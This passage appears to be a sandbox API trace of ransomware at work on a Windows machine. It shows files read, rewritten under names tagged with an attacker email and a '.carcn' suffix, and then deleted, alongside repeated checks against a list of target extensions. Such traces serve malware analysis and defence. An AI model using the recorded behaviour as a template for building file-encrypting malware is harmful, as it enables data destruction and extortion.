dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0158.719] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0158.719] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0158.719] GetLastError () returned 0x0 [0158.719] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0158.787] WriteFile (in: hFile=0x308, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0158.788] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0158.788] WriteFile (in: hFile=0x308, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x11e, lpOverlapped=0x0) returned 1 [0158.788] SetEndOfFile (hFile=0x308) returned 1 [0158.788] CloseHandle (hObject=0x308) returned 1 [0158.789] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0158.790] SetEndOfFile (hFile=0x304) returned 1 [0158.790] CloseHandle (hObject=0x304) returned 1 [0158.791] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0158.791] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0158.791] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.791] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.791] lstrlenW (lpString=".doc") returned 4 [0158.791] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.791] lstrlenW (lpString=".docx") returned 5 [0158.791] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0158.791] lstrlenW (lpString=".pdf") returned 4 [0158.791] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0158.791] lstrlenW (lpString=".xls") returned 4 [0158.791] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0158.791] lstrlenW (lpString=".xlsx") returned 5 [0158.791] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0158.791] lstrlenW (lpString=".ppt") returned 4 [0158.791] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0158.791] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.791] lstrlenW (lpString=".zip") returned 4 [0158.791] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0158.791] lstrlenW (lpString=".rar") returned 4 [0158.791] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0158.791] lstrlenW (lpString=".bz2") returned 4 [0158.792] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0158.792] lstrlenW (lpString=".7z") returned 3 [0158.792] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0158.792] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.792] lstrlenW (lpString=".dbf") returned 4 [0158.792] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.792] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.792] lstrlenW (lpString=".1cd") returned 4 [0158.792] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0158.792] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.792] lstrlenW (lpString=".jpg") returned 4 [0158.792] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0158.792] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.792] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.792] lstrlenW (lpString=".doc") returned 4 [0158.792] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0158.792] lstrlenW (lpString=".docx") returned 5 [0158.792] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0158.792] lstrlenW (lpString=".pdf") returned 4 [0158.792] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0158.792] lstrlenW (lpString=".xls") returned 4 [0158.792] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0158.792] lstrlenW (lpString=".xlsx") returned 5 [0158.792] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0158.792] lstrlenW (lpString=".ppt") returned 4 [0158.792] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0158.792] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.792] lstrlenW (lpString=".zip") returned 4 [0158.792] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0158.792] lstrlenW (lpString=".rar") returned 4 [0158.792] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0158.792] lstrlenW (lpString=".bz2") returned 4 [0158.792] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0158.792] lstrlenW (lpString=".7z") returned 3 [0158.792] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0158.793] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.793] lstrlenW (lpString=".dbf") returned 4 [0158.793] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0158.793] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.793] lstrlenW (lpString=".1cd") returned 4 [0158.793] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0158.793] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0158.793] lstrlenW (lpString=".jpg") returned 4 [0158.793] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0158.793] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0158.793] lstrlenW (lpString="eula.rtf") returned 8 [0158.793] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0158.793] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=6309) returned 1 [0158.793] CloseHandle (hObject=0x304) returned 1 [0158.793] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0158.793] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0158.793] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0158.793] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0158.794] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0158.794] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0158.796] GetLastError () returned 0x0 [0158.796] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x18a5, lpOverlapped=0x0) returned 1 [0159.112] WriteFile (in: hFile=0x308, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x18b0, lpOverlapped=0x0) returned 1 [0159.114] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0159.114] WriteFile (in: hFile=0x308, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0159.114] SetEndOfFile (hFile=0x308) returned 1 [0159.114] CloseHandle (hObject=0x308) returned 1 [0159.115] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.115] SetEndOfFile (hFile=0x304) returned 1 [0159.116] CloseHandle (hObject=0x304) returned 1 [0159.116] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.116] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0159.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.117] lstrlenW (lpString=".doc") returned 4 [0159.117] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.117] lstrlenW (lpString=".docx") returned 5 [0159.117] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.117] lstrlenW (lpString=".pdf") returned 4 [0159.117] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.117] lstrlenW (lpString=".xls") returned 4 [0159.117] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.117] lstrlenW (lpString=".xlsx") returned 5 [0159.117] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.117] lstrlenW (lpString=".ppt") returned 4 [0159.117] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.117] lstrlenW (lpString=".zip") returned 4 [0159.117] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.117] lstrlenW (lpString=".rar") returned 4 [0159.117] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.117] lstrlenW (lpString=".bz2") returned 4 [0159.117] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.117] lstrlenW (lpString=".7z") returned 3 [0159.117] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.118] lstrlenW (lpString=".dbf") returned 4 [0159.118] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.118] lstrlenW (lpString=".1cd") returned 4 [0159.118] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.118] lstrlenW (lpString=".jpg") returned 4 [0159.118] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.118] lstrlenW (lpString=".doc") returned 4 [0159.118] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.118] lstrlenW (lpString=".docx") returned 5 [0159.118] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.118] lstrlenW (lpString=".pdf") returned 4 [0159.118] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.118] lstrlenW (lpString=".xls") returned 4 [0159.118] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.118] lstrlenW (lpString=".xlsx") returned 5 [0159.118] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.118] lstrlenW (lpString=".ppt") returned 4 [0159.118] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.118] lstrlenW (lpString=".zip") returned 4 [0159.118] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.118] lstrlenW (lpString=".rar") returned 4 [0159.119] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.119] lstrlenW (lpString=".bz2") returned 4 [0159.119] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.119] lstrlenW (lpString=".7z") returned 3 [0159.119] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.119] lstrlenW (lpString=".dbf") returned 4 [0159.119] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.119] lstrlenW (lpString=".1cd") returned 4 [0159.119] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.119] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0159.119] lstrlenW (lpString=".jpg") returned 4 [0159.119] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.119] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0159.119] lstrlenW (lpString="eula.rtf") returned 8 [0159.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0159.120] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3314) returned 1 [0159.120] CloseHandle (hObject=0x304) returned 1 [0159.120] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0159.120] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.120] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0159.120] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.120] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.120] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0159.120] GetLastError () returned 0x0 [0159.120] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xcf2, lpOverlapped=0x0) returned 1 [0159.171] WriteFile (in: hFile=0x308, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xd00, lpOverlapped=0x0) returned 1 [0159.172] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0159.172] WriteFile (in: hFile=0x308, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0159.173] SetEndOfFile (hFile=0x308) returned 1 [0159.173] CloseHandle (hObject=0x308) returned 1 [0159.173] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.173] SetEndOfFile (hFile=0x304) returned 1 [0159.174] CloseHandle (hObject=0x304) returned 1 [0159.174] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.174] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0159.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.174] lstrlenW (lpString=".doc") returned 4 [0159.174] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.175] lstrlenW (lpString=".docx") returned 5 [0159.175] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.175] lstrlenW (lpString=".pdf") returned 4 [0159.175] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.175] lstrlenW (lpString=".xls") returned 4 [0159.175] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.175] lstrlenW (lpString=".xlsx") returned 5 [0159.175] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.175] lstrlenW (lpString=".ppt") returned 4 [0159.175] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.175] lstrlenW (lpString=".zip") returned 4 [0159.175] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.175] lstrlenW (lpString=".rar") returned 4 [0159.175] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.175] lstrlenW (lpString=".bz2") returned 4 [0159.175] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.175] lstrlenW (lpString=".7z") returned 3 [0159.175] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.175] lstrlenW (lpString=".dbf") returned 4 [0159.175] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.176] lstrlenW (lpString=".1cd") returned 4 [0159.176] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.176] lstrlenW (lpString=".jpg") returned 4 [0159.176] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.176] lstrlenW (lpString=".doc") returned 4 [0159.176] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString=".docx") returned 5 [0159.176] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0159.176] lstrlenW (lpString=".pdf") returned 4 [0159.176] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString=".xls") returned 4 [0159.176] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0159.176] lstrlenW (lpString=".xlsx") returned 5 [0159.176] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0159.176] lstrlenW (lpString=".ppt") returned 4 [0159.176] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.176] lstrlenW (lpString=".zip") returned 4 [0159.176] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0159.176] lstrlenW (lpString=".rar") returned 4 [0159.176] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString=".bz2") returned 4 [0159.176] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString=".7z") returned 3 [0159.176] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0159.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.176] lstrlenW (lpString=".dbf") returned 4 [0159.176] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0159.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.176] lstrlenW (lpString=".1cd") returned 4 [0159.176] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0159.177] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0159.177] lstrlenW (lpString=".jpg") returned 4 [0159.177] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0159.177] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0159.177] lstrlenW (lpString="eula.rtf") returned 8 [0159.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0159.177] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3419) returned 1 [0159.177] CloseHandle (hObject=0x304) returned 1 [0159.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0159.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0159.177] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.177] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0159.178] GetLastError () returned 0x0 [0159.178] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xd5b, lpOverlapped=0x0) returned 1 [0159.261] WriteFile (in: hFile=0x308, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xd60, lpOverlapped=0x0) returned 1 [0159.262] ReadFile (in: hFile=0x304, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0159.262] WriteFile (in: hFile=0x308, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0159.262] SetEndOfFile (hFile=0x308) returned 1 [0159.262] CloseHandle (hObject=0x308) returned 1 [0159.263] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0159.263] SetEndOfFile (hFile=0x304) returned 1 [0159.263] CloseHandle (hObject=0x304) returned 1 [0159.263] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.264] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0159.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0159.264] lstrlenW (lpString=".doc") returned 4 [0159.264] lstrcmpiW (lpString1=".doc", 